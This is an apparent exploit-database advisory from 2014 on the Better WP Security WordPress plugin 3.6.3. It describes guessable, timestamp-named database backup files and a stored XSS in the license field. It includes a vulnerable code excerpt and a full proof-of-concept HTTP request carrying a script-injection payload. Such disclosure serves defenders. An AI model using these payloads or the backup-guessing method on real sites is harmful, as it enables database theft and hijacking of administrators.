##################################### # Exploit Title: Wordpress Plugin - Better WP Security multiple vulnerability # Date: 2014 11 Fabruary # Exploit Author: Yashar shahinzadeh # Special thanks to Mormoroth # Credit goes for: http://y-shahinzadeh.ir & ha.cker.ir # Vendor Homepage: https://wordpress.org/plugins/better-wp-security/ # Tested on: Linux & Windows, PHP 5.3.2 # Affected Version : 3.6.3 (Last) # # Contacts: { http://Twitter.com/YShahinzadeh , http://y-shahinzadeh.ir , http://Twitter.com/Mormoroth , http://mormoroth.ir } ##################################### Summary: ======== 1. Information Disclosure (Database Backup) 2. Persisted XSS 2. Further Information 1. Information Disclosure (Database Backup): ============================================ The Better WP Security suffers from information disclosure. In backup section, there are two options. Firstly, emailing backup file via email which is secured enough. Secondly , the backup files can be stored in /wp-content/plugins/better-wp-security/backups/ folder. It's protected by an index, althoguh it's named by a weak random function. Vulnerable code: ... ... $return .= PHP_EOL . PHP_EOL; //save file $file = 'database-backup-' . current_time( 'timestamp' ); $handle = @fopen( BWPS_PP . 'backups/' . $file . '.sql', 'w+' ); @fwrite( $handle, $return ); @fclose( $handle ); ... ... current_time() function is a Wordpress's function which returns current timestamp. As it can be seen, 'database-backup-' is hardcoded, so guessing or carrying out a brute force attack isnt hard. 2. Persisted XSS: ================= The Better WP Security also suffers from stored XSS. In the premium box, by entering a valid key user can upgrade plugin to premium. Escaping is applied on the inputs. However, it isn't sufficient to prevent occurring XSS. The key is stored in database within wp_options table. better-wp-security_licensekey holds the input's value. The plugin reads the key from database, then the key is shown to user and it's triggering the vulnerability. So, submiting "><scrip>alert(1)</script> would be a dimonstration. POST /wordpress-3.8/wp-admin/admin-ajax.php HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:26.0) Gecko/20100101 Firefox/26.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Referer: http://localhost/wordpress-3.8/wp-admin/admin.php?page=better-wp-security Content-Length: 154 Cookie: wordpress_28c73b7b2dbeccbe781794c02ea85151=admin%7C1392286658%7C751462ff973e5134c6754a1f9e632196; wp-settings-time-1=1392116314; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_28c73b7b2dbeccbe781794c02ea85151=admin%7C1392286658%7C0c253ec7ed5976931c8480ab85be8c1f Connection: keep-alive Pragma: no-cache Cache-Control: no-cache action=foolic_validate_license-better-wp-security&license=%22%3E%3Cscript%3Ealert(1)%3C%2Fscript%3E&nonce=71277a8a19&input=better-wp-security%5Blicense%5D Stored XSS in administration panel can be leveraged to exploit another administrator (client hacking) or even be a small piece in a chain of attacks steps. 3. Further Information: ======================= Further analysis about backup function can be found at my blog, http://blog.y-shahinzadeh.ir /** Yasshar Shahinzadeh **/